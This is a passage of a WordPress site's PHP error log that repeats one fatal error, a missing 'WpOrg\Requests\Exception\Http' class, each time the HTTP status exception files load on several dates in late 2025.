  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[25-Sep-2025 22:04:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[25-Sep-2025 22:04:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[25-Sep-2025 22:04:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[25-Sep-2025 22:04:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[25-Sep-2025 22:04:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[02-Oct-2025 10:35:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[02-Oct-2025 10:35:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[02-Oct-2025 10:35:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[02-Oct-2025 10:35:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[02-Oct-2025 10:35:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[02-Oct-2025 10:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[02-Oct-2025 10:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[02-Oct-2025 10:35:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[02-Oct-2025 10:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[02-Oct-2025 10:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[02-Oct-2025 10:35:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[02-Oct-2025 10:35:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[02-Oct-2025 10:35:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[02-Oct-2025 10:35:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[02-Oct-2025 10:35:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[02-Oct-2025 10:35:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[02-Oct-2025 10:35:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[02-Oct-2025 10:35:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[02-Oct-2025 10:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[02-Oct-2025 10:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[02-Oct-2025 10:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[02-Oct-2025 10:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[02-Oct-2025 10:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[02-Oct-2025 10:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[02-Oct-2025 10:35:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[02-Oct-2025 10:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[02-Oct-2025 10:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[02-Oct-2025 10:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[02-Oct-2025 10:35:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[02-Oct-2025 10:35:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[02-Oct-2025 10:35:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[02-Oct-2025 10:35:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[02-Oct-2025 10:36:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[02-Oct-2025 10:44:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[02-Oct-2025 10:44:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[02-Oct-2025 10:44:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[02-Oct-2025 10:44:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[02-Oct-2025 10:44:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[02-Oct-2025 10:44:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[02-Oct-2025 10:44:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[02-Oct-2025 10:44:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[02-Oct-2025 10:44:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[02-Oct-2025 10:44:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[02-Oct-2025 10:44:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[02-Oct-2025 10:44:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[02-Oct-2025 10:44:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[02-Oct-2025 10:44:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[02-Oct-2025 10:44:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[02-Oct-2025 10:44:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[02-Oct-2025 10:44:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[02-Oct-2025 10:44:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[02-Oct-2025 10:44:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[02-Oct-2025 10:44:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[02-Oct-2025 10:44:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[02-Oct-2025 10:44:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[02-Oct-2025 10:44:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[02-Oct-2025 10:44:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[02-Oct-2025 10:44:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[02-Oct-2025 10:44:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[02-Oct-2025 10:44:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[02-Oct-2025 10:44:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[02-Oct-2025 10:44:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[02-Oct-2025 10:44:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[02-Oct-2025 10:44:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[02-Oct-2025 10:44:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[02-Oct-2025 10:44:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[02-Nov-2025 08:23:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[02-Nov-2025 08:23:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[02-Nov-2025 08:23:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[02-Nov-2025 08:23:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[02-Nov-2025 08:23:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[02-Nov-2025 08:23:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[02-Nov-2025 08:23:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[02-Nov-2025 08:23:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[02-Nov-2025 08:23:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[02-Nov-2025 08:23:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[02-Nov-2025 08:23:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[02-Nov-2025 08:23:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[02-Nov-2025 08:23:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[02-Nov-2025 08:23:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[02-Nov-2025 08:23:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[02-Nov-2025 08:23:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[02-Nov-2025 08:23:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[02-Nov-2025 08:23:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[02-Nov-2025 08:23:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
